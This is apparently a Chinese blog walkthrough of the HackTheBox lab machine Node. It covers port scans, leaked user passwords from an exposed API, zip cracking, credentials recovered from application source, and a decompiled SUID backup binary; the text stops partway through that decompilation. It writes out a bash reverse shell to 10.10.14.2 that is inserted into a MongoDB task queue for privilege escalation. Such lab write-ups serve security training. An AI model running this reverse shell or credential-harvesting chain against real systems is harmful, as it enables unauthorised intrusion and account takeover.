HTB靶机 Node 渗透测试记录

misaka19008 发布于 2024-11-13 16 次阅读



目标信息

IP地址:10.10.10.58


信息收集

ICMP检测

┌──(root㉿hacker)-[/home/…/Documents/pentest_notes/node/nmap_reports]
└─# ping -c 4 10.10.10.58
PING 10.10.10.58 (10.10.10.58) 56(84) bytes of data.
64 bytes from 10.10.10.58: icmp_seq=1 ttl=63 time=243 ms
64 bytes from 10.10.10.58: icmp_seq=2 ttl=63 time=242 ms
64 bytes from 10.10.10.58: icmp_seq=3 ttl=63 time=242 ms
64 bytes from 10.10.10.58: icmp_seq=4 ttl=63 time=242 ms

--- 10.10.10.58 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3007ms
rtt min/avg/max/mdev = 241.739/242.107/242.543/0.317 ms

攻击机和靶机间网络连接良好。

防火墙检测

# Nmap 7.94SVN scan initiated Sun Jun 23 10:24:55 2024 as: nmap -sA -p- --min-rate 2000 -oN ./ack_result.txt 10.10.10.58
Nmap scan report for 10.10.10.58 (10.10.10.58)
Host is up (0.25s latency).
Not shown: 65533 filtered tcp ports (no-response)
PORT     STATE      SERVICE
22/tcp   unfiltered ssh
3000/tcp unfiltered ppp

# Nmap done at Sun Jun 23 10:26:01 2024 -- 1 IP address (1 host up) scanned in 66.57 seconds

靶机开放了2TCP端口。

网络端口扫描

TCP端口扫描结果

# Nmap 7.94SVN scan initiated Sun Jun 23 10:28:27 2024 as: nmap -sS -sV -A -p 22,3000 -oN ./tcp_result.txt 10.10.10.58
Nmap scan report for 10.10.10.58 (10.10.10.58)
Host is up (0.25s latency).

PORT     STATE SERVICE            VERSION
22/tcp   open  ssh                OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 dc:5e:34:a6:25:db:43:ec:eb:40:f4:96:7b:8e:d1:da (RSA)
|   256 6c:8e:5e:5f:4f:d5:41:7d:18:95:d1:dc:2e:3f:e5:9c (ECDSA)
|_  256 d8:78:b8:5d:85:ff:ad:7b:e6:e2:b5:da:1e:52:62:36 (ED25519)
3000/tcp open  hadoop-tasktracker Apache Hadoop
| hadoop-datanode-info: 
|_  Logs: /login
| hadoop-tasktracker-info: 
|_  Logs: /login
|_http-title: MyPlace
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose|specialized|phone|storage-misc
Running (JUST GUESSING): Linux 3.X|4.X|5.X (90%), Crestron 2-Series (86%), Google Android 4.X (86%), HP embedded (85%)
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4 cpe:/o:crestron:2_series cpe:/o:google:android:4.0 cpe:/o:linux:linux_kernel:5.0 cpe:/h:hp:p2000_g3
Aggressive OS guesses: Linux 3.10 - 4.11 (90%), Linux 3.12 (90%), Linux 3.13 (90%), Linux 3.13 or 4.2 (90%), Linux 3.16 (90%), Linux 3.16 - 4.6 (90%), Linux 3.18 (90%), Linux 3.2 - 4.9 (90%), Linux 3.8 - 3.11 (90%), Linux 4.2 (90%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 22/tcp)
HOP RTT       ADDRESS
1   289.07 ms 10.10.14.1 (10.10.14.1)
2   241.85 ms 10.10.10.58 (10.10.10.58)

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Jun 23 10:29:06 2024 -- 1 IP address (1 host up) scanned in 38.70 seconds

UDP端口开放列表扫描结果

# Nmap 7.94SVN scan initiated Sun Jun 23 10:29:41 2024 as: nmap -sU -p- --min-rate 2000 -oN ./udp_result.txt 10.10.10.58
Nmap scan report for 10.10.10.58 (10.10.10.58)
Host is up (0.29s latency).
All 65535 scanned ports on 10.10.10.58 (10.10.10.58) are in ignored states.
Not shown: 65535 open|filtered udp ports (no-response)

# Nmap done at Sun Jun 23 10:30:49 2024 -- 1 IP address (1 host up) scanned in 68.33 seconds

UDP端口详细信息扫描结果

(无)

同时发现靶机操作系统为Ubuntu Linux,内核版本大致为Linux 3.10 - 4.11


服务探测

SSH服务(22端口)

端口Banner

┌──(root㉿hacker)-[/home/megumin/Documents/pentest_notes/node]
└─# nc -nv 10.10.10.58 22                                        
(UNKNOWN) [10.10.10.58] 22 (ssh) open
SSH-2.0-OpenSSH_7.2p2 Ubuntu-4ubuntu2.2

Web应用程序(3000端口)

打开主页:http://node.htb/(尝试加上域名)

在页面末尾发现3个人名:tommarkrastating

尝试扫描目录:

# Dirsearch started Mon Jun 24 07:45:11 2024 as: /usr/lib/python3/dist-packages/dirsearch/dirsearch.py -u http://node.htb:3000/ -x 400,403,404 -e php,js,html,asp,aspx,txt,zip,tar.gz,pcap -t 60

301   171B   http://node.htb:3000/assets    -> REDIRECTS TO: /assets/
301   173B   http://node.htb:3000/uploads    -> REDIRECTS TO: /uploads/

未发现关键信息。

尝试查看网页源代码,在页面中发现引用了如下JavaScript

  <script type="text/javascript" src="assets/js/app/app.js"></script>
    <script type="text/javascript" src="assets/js/app/controllers/home.js"></script>
    <script type="text/javascript" src="assets/js/app/controllers/login.js"></script>
    <script type="text/javascript" src="assets/js/app/controllers/admin.js"></script>
    <script type="text/javascript" src="assets/js/app/controllers/profile.js"></script>

依次点击查看内容,在/profile.js中挖掘出了敏感API端点/api/users

var controllers = angular.module('controllers');

controllers.controller('ProfileCtrl', function ($scope, $http, $routeParams) {
  $http.get('/api/users/' + $routeParams.username)
    .then(function (res) {
      $scope.user = res.data;
    }, function (res) {
      $scope.hasError = true;

      if (res.status == 404) {
        $scope.errorMessage = 'This user does not exist';
      }
      else {
        $scope.errorMessage = 'An unexpected error occurred';
      }
    });
});

直接访问:

成功发现了用户账密!

ID 用户名 密码
1 myP14ceAdm1nAcc0uNT manchester
2 tom spongebob
3 mark snowflake
4 rastating (未知)

尝试登录管理员用户myP14ceAdm1nAcc0uNT,成功:


渗透测试

登录后台后,点击Download Backup按钮,会跳出下载内容,但是总是下载失败。尝试使用BurpSuite拦截流量并重放请求,发现返回的内容是一段超长的Base64文本:

将其保存为文件,随后使用如下Linux命令解码保存:

sed -i "1,9d" ./down_base64.txt
cat ./down_base64.txt | base64 -d > ./downfile

(真是费了花火大人好大的功夫呀,为了拿到完整的base64数据包,花火大人整整按了2个小时的下载和发包按钮呢,所以,作者大大,晚上不要睡太死哦~ So,so,哈吉没油,Zafkiel!!!)

尝试使用file命令判断二进制文件的类型,发现为ZIP压缩包,尝试解压,发现需要密码:

尝试使用之前发现的密码解压,失败。

尝试使用john工具爆破密码:

zip2john ./downfile.zip > ./zip_hash.txt
john ./zip_hash.txt

成功找到口令:magicword

直接解压,尝试查看网站主程序app.js,发现MongoDB的登录凭据:

const express     = require('express');
const session     = require('express-session');
const bodyParser  = require('body-parser');
const crypto      = require('crypto');
const MongoClient = require('mongodb').MongoClient;
const ObjectID    = require('mongodb').ObjectID;
const path        = require("path");
const spawn        = require('child_process').spawn;
const app         = express();
const url         = 'mongodb://mark:5AYRft73VtFpc84k@localhost:27017/myplace?authMechanism=DEFAULT&authSource=myplace';
const backup_key  = '45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474';

尝试将其作为SSH用户的登录凭据:

  • 用户名:mark
  • 密码:5AYRft73VtFpc84k

直接登录:

成功!!!


权限提升

本地信息收集

基本系统信息

进程列表

计划任务列表

环境变量

用户信息

用户家目录

特殊权限文件

开放端口信息

敏感文件权限

经分析研判,发现tom用户除了使用Node.js运行了可疑脚本/var/scheduler/app.js,查看脚本之后发现其功能是循环地将要执行的操作系统命令从MongoDB中取出,随后使用child_process模块的exec函数执行。决定向MongoDB中的对应表内写入系统命令字符串以进行提权。同时还发现/usr/local/bin/backupSUID程序,但当前为mark用户,不在admin用户组中,无法利用。

Node.JS脚本提权

/var/scheduler/app.js脚本的内容如下:

const exec        = require('child_process').exec;
const MongoClient = require('mongodb').MongoClient;
const ObjectID    = require('mongodb').ObjectID;
const url         = 'mongodb://mark:5AYRft73VtFpc84k@localhost:27017/scheduler?authMechanism=DEFAULT&authSource=scheduler';

MongoClient.connect(url, function(error, db) {
  if (error || !db) {
    console.log('[!] Failed to connect to mongodb');
    return;
  }

  setInterval(function () {
    db.collection('tasks').find().toArray(function (error, docs) {
      if (!error && docs) {
        docs.forEach(function (doc) {
          if (doc) {
            console.log('Executing task ' + doc._id + '...');
            exec(doc.cmd);
            db.collection('tasks').deleteOne({ _id: new ObjectID(doc._id) });
          }
        });
      }
      else if (error) {
        console.log('Something went wrong: ' + error);
      }
    });
  }, 30000);

});

发现程序每隔30秒会从scheduler.tasks集合内取出_idcmd两个域的记录,随后使用exec()函数执行cmd的内容,随后使用_id中的内容删除MongoDB中相对应的记录。

直接执行如下命令,向MongoDB添加后门计划任务,直接反弹Shell:

mongo "mongodb://mark:5AYRft73VtFpc84k@localhost:27017/scheduler"
db.tasks.insertOne({_id: ObjectId(), cmd: "/bin/bash -c 'bash -i >& /dev/tcp/10.10.14.2/443 0>&1'"})

反弹Shell成功!!

SUID程序提权

进入tom用户后,使用id命令查看用户信息,发现当前用户在admin组中:

直接使用/usr/local/bin/backup进行提权。

尝试对目标程序进行反汇编分析:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  __uid_t v3; // eax
  __pid_t v4; // esi
  time_t v5; // ebx
  clock_t v6; // eax
  unsigned int v7; // eax
  char command[1500]; // [esp+1h] [ebp-10B1h] BYREF
  char name[1000]; // [esp+5DDh] [ebp-AD5h] BYREF
  char v11[500]; // [esp+9C5h] [ebp-6EDh] BYREF
  char s[1000]; // [esp+BB9h] [ebp-4F9h] BYREF
  char filename[100]; // [esp+FA1h] [ebp-111h] BYREF
  char v14[6]; // [esp+1005h] [ebp-ADh] BYREF
  char v15[3]; // [esp+100Bh] [ebp-A7h] BYREF
  _BYTE v16[6]; // [esp+100Eh] [ebp-A4h] BYREF
  char v17[6]; // [esp+1014h] [ebp-9Eh] BYREF
  char v18[6]; // [esp+101Ah] [ebp-98h] BYREF
  char src[2]; // [esp+1020h] [ebp-92h] BYREF
  char dest[100]; // [esp+1022h] [ebp-90h] BYREF
  int v21; // [esp+1086h] [ebp-2Ch]
  FILE *stream; // [esp+108Ah] [ebp-28h]
  int i; // [esp+108Eh] [ebp-24h]
  int v24; // [esp+1092h] [ebp-20h]
  int v25; // [esp+1096h] [ebp-1Ch]
  int *p_argc; // [esp+10A2h] [ebp-10h]

  p_argc = &argc;
  v3 = geteuid();
  setuid(v3);
  v25 = 0;
  v24 = 0;
  if ( argc <= 3 )
    exit(1);
  if ( strcmp(argv[1], "-q") )
  {
    v24 = 1;
    puts("nnn             ____________________________________________________");
    puts("            /                                                    \");
    puts("           |    _____________________________________________     |");
    puts("           |   |                                             |    |");
    puts("           |   |                                             |    |");
    puts("           |   |                                             |    |");
    puts("           |   |                                             |    |");
    puts("           |   |                                             |    |");
    puts("           |   |                                             |    |");
    puts("           |   |             Secure Backup v1.0              |    |");
    puts("           |   |                                             |    |");
    puts("           |   |                                             |    |");
    puts("           |   |                                             |    |");
    puts("           |   |                                             |    |");
    puts("           |   |                                             |    |");
    puts("           |   |                                             |    |");
    puts("           |   |_____________________________________________|    |");
    puts("           |                                                      |");
    puts("            \_____________________________________________________/");
    puts("                   \_______________________________________/");
    puts("                _______________________________________________");
    puts("             _-'    .-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.  --- `-_");
    puts("          _-'.-.-. .---.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.--.  .-.-.`-_");
    puts("       _-'.-.-.-. .---.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-`__`. .-.-.-.`-_");
    puts("    _-'.-.-.-.-. .-----.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-----. .-.-.-.-.`-_");
    puts(" _-'.-.-.-.-.-. .---.-. .-----------------------------. .-.---. .---.-.-.-.`-_");
    puts(":-----------------------------------------------------------------------------:");
    puts("`---._.-----------------------------------------------------------------._.---'nn");
  }
  strncpy(dest, argv[2], 0x64u);
  strcpy(src, "/");
  strcpy(v14, "/e");
  strcpy(&v14[3], "tc");
  strcpy(v15, src);
  *(_WORD *)&v15[strlen(v15)] = 109;
  strcpy(v16, "yp");
  strcpy(&v16[3], "la");
  strcpy(v17, "ce");
  strcpy(&v17[3], src);
  *(_WORD *)&v17[strlen(&v17[3]) + 3] = 107;
  strcpy(v18, "ey");
  strcpy(&v18[3], "s");
  strcpy(filename, v14);
  for ( i = 1; i <= 8; ++i )
    strcat(filename, &v14[3 * i]);
  stream = fopen(filename, "r");
  if ( !stream )
  {
    if ( v24 == 1 )
      displayWarning("Could not open filenn");
    exit(1);
  }
  while ( fgets(s, 1000, stream) )
  {
    s[strcspn(s, "n")] = 0;
    if ( !strcmp(dest, s) )
    {
      v25 = 1;
      if ( v24 == 1 )
        displaySuccess("Validated access token");
    }
  }
  if ( v25 != 1 )
  {
    if ( v24 == 1 )
      displayWarning("Ah-ah-ah! You didn't say the magic word!nn");
    exit(1);
  }
  if ( strstr(argv[3], "..") )
  {
    displaySuccess("Finished! Encoded backup is below:n");
    puts(
      "UEsDBDMDAQBjAG++IksAAAAA7QMAABgKAAAIAAsAcm9vdC50eHQBmQcAAgBBRQEIAEbBKBl0rFrayqfbwJ2YyHunnYq1Za6G7XLo8C3RH/hu0fArpS"
      "vYauq4AUycRmLuWvPyJk3sF+HmNMciNHfFNLD3LdkGmgwSW8j50xlO6SWiH5qU1Edz340bxpSlvaKvE4hnK/oan4wWPabhw/2rwaaJSXucU+pLgZor"
      "Y67Q/Y6cfA2hLWJabgeobKjMy0njgC9c8cQDaVrfE/ZiS1S+rPgz/e2Pc3lgkQ+lAVBqjo4zmpQltgIXauCdhvlA1Pe/BXhPQBJab7NVF6Xm3207Ef"
      "D3utbrcuUuQyF+rQhDCKsAEhqQ+Yyp1Tq2o6BvWJlhtWdts7rCubeoZPDBD6Mejp3XYkbSYYbzmgr1poNqnzT5XPiXnPwVqH1fG8OSO56xAvxx2mU2"
      "EP+Yhgo4OAghyW1sgV8FxenV8p5c+u9bTBTz/7WlQDI0HUsFAOHnWBTYR4HTvyi8OPZXKmwsPAG1hrlcrNDqPrpsmxxmVR8xSRbBDLSrH14pXYKPY/"
      "a4AZKO/GtVMULlrpbpIFqZ98zwmROFstmPl/cITNYWBlLtJ5AmsyCxBybfLxHdJKHMsK6Rp4MO+wXrd/EZNxM8lnW6XNOVgnFHMBsxJkqsYIWlO0MM"
      "yU9L1CL2RRwm2QvbdD8PLWA/jp1fuYUdWxvQWt7NjmXo7crC1dA0BDPg5pVNxTrOc6lADp7xvGK/kP4F0eR+53a4dSL0b6xFnbL7WwRpcF+Ate/Ut2"
      "2WlFrg9A8gqBC8Ub1SnBU2b93ElbG9SFzno5TFmzXk3onbLaaEVZl9AKPA3sGEXZvVP+jueADQsokjJQwnzg1BRGFmqWbR6hxPagTVXBbQ+hytQdd2"
      "6PCuhmRUyNjEIBFx/XqkSOfAhLI9+Oe4FH3hYqb1W6xfZcLhpBs4Vwh7t2WGrEnUm2/F+X/OD+s9xeYniyUrBTEaOWKEv2NOUZudU6X2VOTX6QbHJr"
      "yLdSU9XLHB+nEGeq+sdtifdUGeFLct+Ee2pgR/AsSexKmzW09cx865KuxKnR3yoC6roUBb30Ijm5vQuzg/RM71P5ldpCK70RemYniiNeluBfHwQLOx"
      "kDn/8MN0CEBr1eFzkCNdblNBVA7b9m7GjoEhQXOpOpSGrXwbiHHm5C7Zn4kZtEy729ZOo71OVuT9i+4vCiWQLHrdxYkqiC7lmfCjMh9e05WEy1EBmP"
      "aFkYgxK2c6xWErsEv38++8xdqAcdEGXJBR2RT1TlxG/YlB4B7SwUem4xG6zJYi452F1klhkxloV6paNLWrcLwokdPJeCIrUbn+C9TesqoaaXASnict"
      "zNXUKzT905OFOcJwt7FbxyXk0z3FxD/tgtUHcFBLAQI/AzMDAQBjAG++IksAAAAA7QMAABgKAAAIAAsAAAAAAAAAIIC0gQAAAAByb290LnR4dAGZBw"
      "ACAEFFAQgAUEsFBgAAAAABAAEAQQAAAB4EAAAAAA==");
    exit(0);
  }
  if ( strstr(argv[3], "/root") )
  {
    displaySuccess("Finished! Encoded backup is below:n");
    puts(
      "UEsDBDMDAQBjAG++IksAAAAA7QMAABgKAAAIAAsAcm9vdC50eHQBmQcAAgBBRQEIAEbBKBl0rFrayqfbwJ2YyHunnYq1Za6G7XLo8C3RH/hu0fArpS"
      "vYauq4AUycRmLuWvPyJk3sF+HmNMciNHfFNLD3LdkGmgwSW8j50xlO6SWiH5qU1Edz340bxpSlvaKvE4hnK/oan4wWPabhw/2rwaaJSXucU+pLgZor"
      "Y67Q/Y6cfA2hLWJabgeobKjMy0njgC9c8cQDaVrfE/ZiS1S+rPgz/e2Pc3lgkQ+lAVBqjo4zmpQltgIXauCdhvlA1Pe/BXhPQBJab7NVF6Xm3207Ef"
      "D3utbrcuUuQyF+rQhDCKsAEhqQ+Yyp1Tq2o6BvWJlhtWdts7rCubeoZPDBD6Mejp3XYkbSYYbzmgr1poNqnzT5XPiXnPwVqH1fG8OSO56xAvxx2mU2"
      "EP+Yhgo4OAghyW1sgV8FxenV8p5c+u9bTBTz/7WlQDI0HUsFAOHnWBTYR4HTvyi8OPZXKmwsPAG1hrlcrNDqPrpsmxxmVR8xSRbBDLSrH14pXYKPY/"
      "a4AZKO/GtVMULlrpbpIFqZ98zwmROFstmPl/cITNYWBlLtJ5AmsyCxBybfLxHdJKHMsK6Rp4MO+wXrd/EZNxM8lnW6XNOVgnFHMBsxJkqsYIWlO0MM"
      "yU9L1CL2RRwm2QvbdD8PLWA/jp1fuYUdWxvQWt7NjmXo7crC1dA0BDPg5pVNxTrOc6lADp7xvGK/kP4F0eR+53a4dSL0b6xFnbL7WwRpcF+Ate/Ut2"
      "2WlFrg9A8gqBC8Ub1SnBU2b93ElbG9SFzno5TFmzXk3onbLaaEVZl9AKPA3sGEXZvVP+jueADQsokjJQwnzg1BRGFmqWbR6hxPagTVXBbQ+hytQdd2"
      "6PCuhmRUyNjEIBFx/XqkSOfAhLI9+Oe4FH3hYqb1W6xfZcLhpBs4Vwh7t2WGrEnUm2/F+X/OD+s9xeYniyUrBTEaOWKEv2NOUZudU6X2VOTX6QbHJr"
      "yLdSU9XLHB+nEGeq+sdtifdUGeFLct+Ee2pgR/AsSexKmzW09cx865KuxKnR3yoC6roUBb30Ijm5vQuzg/RM71P5ldpCK70RemYniiNeluBfHwQLOx"
      "kDn/8MN0CEBr1eFzkCNdblNBVA7b9m7GjoEhQXOpOpSGrXwbiHHm5C7Zn4kZtEy729ZOo71OVuT9i+4vCiWQLHrdxYkqiC7lmfCjMh9e05WEy1EBmP"
      "aFkYgxK2c6xWErsEv38++8xdqAcdEGXJBR2RT1TlxG/YlB4B7SwUem4xG6zJYi452F1klhkxloV6paNLWrcLwokdPJeCIrUbn+C9TesqoaaXASnict"
      "zNXUKzT905OFOcJwt7FbxyXk0z3FxD/tgtUHcFBLAQI/AzMDAQBjAG++IksAAAAA7QMAABgKAAAIAAsAAAAAAAAAIIC0gQAAAAByb290LnR4dAGZBw"
      "ACAEFFAQgAUEsFBgAAAAABAAEAQQAAAB4EAAAAAA==");
    exit(0);
  }
  if ( strchr(argv[3], 59) )
  {
    displaySuccess("Finished! Encoded backup is below:n");
    puts(
      "UEsDBDMDAQBjAG++IksAAAAA7QMAABgKAAAIAAsAcm9vdC50eHQBmQcAAgBBRQEIAEbBKBl0rFrayqfbwJ2YyHunnYq1Za6G7XLo8C3RH/hu0fArpS"
      "vYauq4AUycRmLuWvPyJk3sF+HmNMciNHfFNLD3LdkGmgwSW8j50xlO6SWiH5qU1Edz340bxpSlvaKvE4hnK/oan4wWPabhw/2rwaaJSXucU+pLgZor"
      "Y67Q/Y6cfA2hLWJabgeobKjMy0njgC9c8cQDaVrfE/ZiS1S+rPgz/e2Pc3lgkQ+lAVBqjo4zmpQltgIXauCdhvlA1Pe/BXhPQBJab7NVF6Xm3207Ef"
      "D3utbrcuUuQyF+rQhDCKsAEhqQ+Yyp1Tq2o6BvWJlhtWdts7rCubeoZPDBD6Mejp3XYkbSYYbzmgr1poNqnzT5XPiXnPwVqH1fG8OSO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
      "ACAEFFAQgAUEsFBgAAAAABAAEAQQAAAB4EAAAAAA==");
    exit(0);
  }
  if ( strchr(argv[3], 38) )
  {
    displaySuccess("Finished! Encoded backup is below:n");
    puts(
      "UEsDBDMDAQBjAG++IksAAAAA7QMAABgKAAAIAAsAcm9vdC50eHQBmQcAAgBBRQEIAEbBKBl0rFrayqfbwJ2YyHunnYq1Za6G7XLo8C3RH/hu0fArpS"
      "vYauq4AUycRmLuWvPyJk3sF+HmNMciNHfFNLD3LdkGmgwSW8j50xlO6SWiH5qU1Edz340bxpSlvaKvE4hnK/oan4wWPabhw/2rwaaJSXucU+pLgZor"
      "Y67Q/Y6cfA2hLWJabgeobKjMy0njgC9c8cQDaVrfE/ZiS1S+rPgz/e2Pc3lgkQ+lAVBqjo4zmpQltgIXauCdhvlA1Pe/BXhPQBJab7NVF6Xm3207Ef"
      "D3utbrcuUuQyF+rQhDCKsAEhqQ+Yyp1Tq2o6BvWJlhtWdts7rCubeoZPDBD6Mejp3XYkbSYYbzmgr1poNqnzT5XPiXnPwVqH1fG8OSO56xAvxx2mU2"
      "EP+Yhgo4OAghyW1sgV8FxenV8p5c+u9bTBTz/7WlQDI0HUsFAOHnWBTYR4HTvyi8OPZXKmwsPAG1hrlcrNDqPrpsmxxmVR8xSRbBDLSrH14pXYKPY/"
      "a4AZKO/GtVMULlrpbpIFqZ98zwmROFstmPl/cITNYWBlLtJ5AmsyCxBybfLxHdJKHMsK6Rp4MO+wXrd/EZNxM8lnW6XNOVgnFHMBsxJkqsYIWlO0MM"
      "yU9L1CL2RRwm2QvbdD8PLWA/jp1fuYUdWxvQWt7NjmXo7crC1dA0BDPg5pVNxTrOc6lADp7xvGK/kP4F0eR+53a4dSL0b6xFnbL7WwRpcF+Ate/Ut2"
      "2WlFrg9A8gqBC8Ub1SnBU2b93ElbG9SFzno5TFmzXk3onbLaaEVZl9AKPA3sGEXZvVP+jueADQsokjJQwnzg1BRGFmqWbR6hxPagTVXBbQ+hytQdd2"
      "6PCuhmRUyNjEIBFx/XqkSOfAhLI9+Oe4FH3hYqb1W6xfZcLhpBs4Vwh7t2WGrEnUm2/F+X/OD+s9xeYniyUrBTEaOWKEv2NOUZudU6X2VOTX6QbHJr"
      "yLdSU9XLHB+nEGeq+sdtifdUGeFLct+Ee2pgR/AsSexKmzW09cx865KuxKnR3yoC6roUBb30Ijm5vQuzg/RM71P5ldpCK70RemYniiNeluBfHwQLOx"
      "kDn/8MN0CEBr1eFzkCNdblNBVA7b9m7GjoEhQXOpOpSGrXwbiHHm5C7Zn4kZtEy729ZOo71OVuT9i+4vCiWQLHrdxYkqiC7lmfCjMh9e05WEy1EBmP"
      "aFkYgxK2c6xWErsEv38++8xdqAcdEGXJBR2RT1TlxG/YlB4B7SwUem4xG6zJYi452F1klhkxloV6paNLWrcLwokdPJeCIrUbn+C9TesqoaaXASnict"
      "zNXUKzT905OFOcJwt7FbxyXk0z3FxD/tgtUHcFBLAQI/AzMDAQBjAG++IksAAAAA7QMAABgKAAAIAAsAAAAAAAAAIIC0gQAAAAByb290LnR4dAGZBw"
      "ACAEFFAQgAUEsFBgAAAAABAAEAQQAAAB4EAAAAAA==");
    exit(0);
  }
  if ( strchr(argv[3], 96) )
  {
    displaySuccess("Finished! Encoded backup is below:n");
    puts(
      "UEsDBDMDAQBjAG++IksAAAAA7QMAABgKAAAIAAsAcm9vdC50eHQBmQcAAgBBRQEIAEbBKBl0rFrayqfbwJ2YyHunnYq1Za6G7XLo8C3RH/hu0fArpS"
      "vYauq4AUycRmLuWvPyJk3sF+HmNMciNHfFNLD3LdkGmgwSW8j50xlO6SWiH5qU1Edz340bxpSlvaKvE4hnK/oan4wWPabhw/2rwaaJSXucU+pLgZor"
      "Y67Q/Y6cfA2hLWJabgeobKjMy0njgC9c8cQDaVrfE/ZiS1S+rPgz/e2Pc3lgkQ+lAVBqjo4zmpQltgIXauCdhvlA1Pe/BXhPQBJab7NVF6Xm3207Ef"
      "D3utbrcuUuQyF+rQhDCKsAEhqQ+Yyp1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LAQI/AzMDAQBjAG++IksAAAAA7QMAABgKAAAIAAsAAAAAAAAAIIC0gQAAAAByb290LnR4dAGZBw"
      "ACAEFFAQgAUEsFBgAAAAABAAEAQQAAAB4EAAAAAA==");
    exit(0);
  }
  if ( strchr(argv[3], 36) )
  {
    displaySuccess("Finished! Encoded backup is below:n");
    puts(
      "UEsDBDMDAQBjAG++IksAAAAA7QMAABgKAAAIAAsAcm9vdC50eHQBmQcAAgBBRQEIAEbBKBl0rFrayqfbwJ2YyHunnYq1Za6G7XLo8C3RH/hu0fArpS"
      "vYauq4AUycRmLuWvPyJk3sF+HmNMciNHfFNLD3LdkGmgwSW8j50xlO6SWiH5qU1Edz340bxpSlvaKvE4hnK/oan4wWPabhw/2rwaaJSXucU+pLgZor"
      "Y67Q/Y6cfA2hLWJabgeobKjMy0njgC9c8cQDaVrfE/ZiS1S+rPgz/e2Pc3lgkQ+lAVBqjo4zmpQltgIXauCdhvlA1Pe/BXhPQBJab7NVF6Xm3207Ef"
      "D3utbrcuUuQyF+rQhDCKsAEhqQ+Yyp1Tq2o6BvWJlhtWdts7rCubeoZPDBD6Mejp3XYkbSYYbzmgr1poNqnzT5XPiXnPwVqH1fG8OSO56xAvxx2mU2"
      "EP+Yhgo4OAghyW1sgV8FxenV8p5c+u9bTBTz/7WlQDI0HUsFAOHnWBTYR4HTvyi8OPZXKmwsPAG1hrlcrNDqPrpsmxxmVR8xSRbBDLSrH14pXYKPY/"
      "a4AZKO/GtVMULlrpbpIFqZ98zwmROFstmPl/cITNYWBlLtJ5AmsyCxBybfLxHdJKHMsK6Rp4MO+wXrd/EZNxM8lnW6XNOVgnFHMBsxJkqsYIWlO0MM"
      "yU9L1CL2RRwm2QvbdD8PLWA/jp1fuYUdWxvQWt7NjmXo7crC1dA0BDPg5pVNxTrOc6lADp7xvGK/kP4F0eR+53a4dSL0b6xFnbL7WwRpcF+Ate/Ut2"
      "2WlFrg9A8gqBC8Ub1SnBU2b93ElbG9SFzno5TFmzXk3onbLaaEVZl9AKPA3sGEXZvVP+jueADQsokjJQwnzg1BRGFmqWbR6hxPagTVXBbQ+hytQdd2"
      "6PCuhmRUyNjEIBFx/XqkSOfAhLI9+Oe4FH3hYqb1W6xfZcLhpBs4Vwh7t2WGrEnUm2/F+X/OD+s9xeYniyUrBTEaOWKEv2NOUZudU6X2VOTX6QbHJr"
      "yLdSU9XLHB+nEGeq+sdtifdUGeFLct+Ee2pgR/AsSexKmzW09cx865KuxKnR3yoC6roUBb30Ijm5vQuzg/RM71P5ldpCK70RemYniiNeluBfHwQLOx"
      "kDn/8MN0CEBr1eFzkCNdblNBVA7b9m7GjoEhQXOpOpSGrXwbiHHm5C7Zn4kZtEy729ZOo71OVuT9i+4vCiWQLHrdxYkqiC7lmfCjMh9e05WEy1EBmP"
      "aFkYgxK2c6xWErsEv38++8xdqAcdEGXJBR2RT1TlxG/YlB4B7SwUem4xG6zJYi452F1klhkxloV6paNLWrcLwokdPJeCIrUbn+C9TesqoaaXASnict"
      "zNXUKzT905OFOcJwt7FbxyXk0z3FxD/tgtUHcFBLAQI/AzMDAQBjAG++IksAAAAA7QMAABgKAAAIAAsAAAAAAAAAIIC0gQAAAAByb290LnR4dAGZBw"
      "ACAEFFAQgAUEsFBgAAAAABAAEAQQAAAB4EAAAAAA==");
    exit(0);
  }
  if ( strchr(argv[3], 124) )
  {
    displaySuccess("Finished! Encoded backup is below:n");
    puts(
      "UEsDBDMDAQBjAG++IksAAAAA7QMAABgKAAAIAAsAcm9vdC50eHQBmQcAAgBBRQEIAEbBKBl0rFrayqfbwJ2YyHunnYq1Za6G7XLo8C3RH/hu0fArpS"
      "vYauq4AUycRmLuWvPyJk3sF+HmNMciNHfFNLD3LdkGmgwSW8j50xlO6SWiH5qU1Edz340bxpSlvaKvE4hnK/oan4wWPabhw/2rwaaJSXucU+pLgZor"
      "Y67Q/Y6cfA2hLWJabgeobKjMy0njgC9c8cQDaVrfE/ZiS1S+rPgz/e2Pc3lgkQ+lAVBqjo4zmpQltgI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WrcLwokdPJeCIrUbn+C9TesqoaaXASnict"
      "zNXUKzT905OFOcJwt7FbxyXk0z3FxD/tgtUHcFBLAQI/AzMDAQBjAG++IksAAAAA7QMAABgKAAAIAAsAAAAAAAAAIIC0gQAAAAByb290LnR4dAGZBw"
      "ACAEFFAQgAUEsFBgAAAAABAAEAQQAAAB4EAAAAAA==");
    exit(0);
  }
  if ( strstr(argv[3], "//") )
  {
    displaySuccess("Finished! Encoded backup is below:n");
    puts(
      "UEsDBDMDAQBjAG++IksAAAAA7QMAABgKAAAIAAsAcm9vdC50eHQBmQcAAgBBRQEIAEbBKBl0rFrayqfbwJ2YyHunnYq1Za6G7XLo8C3RH/hu0fArpS"
      "vYauq4AUycRmLuWvPyJk3sF+HmNMciNHfFNLD3LdkGmgwSW8j50xlO6SWiH5qU1Edz340bxpSlvaKvE4hnK/oan4wWPabhw/2rwaaJSXucU+pLgZor"
      "Y67Q/Y6cfA2hLWJabgeobKjMy0njgC9c8cQDaVrfE/ZiS1S+rPgz/e2Pc3lgkQ+lAVBqjo4zmpQltgIXauCdhvlA1Pe/BXhPQBJab7NVF6Xm3207Ef"
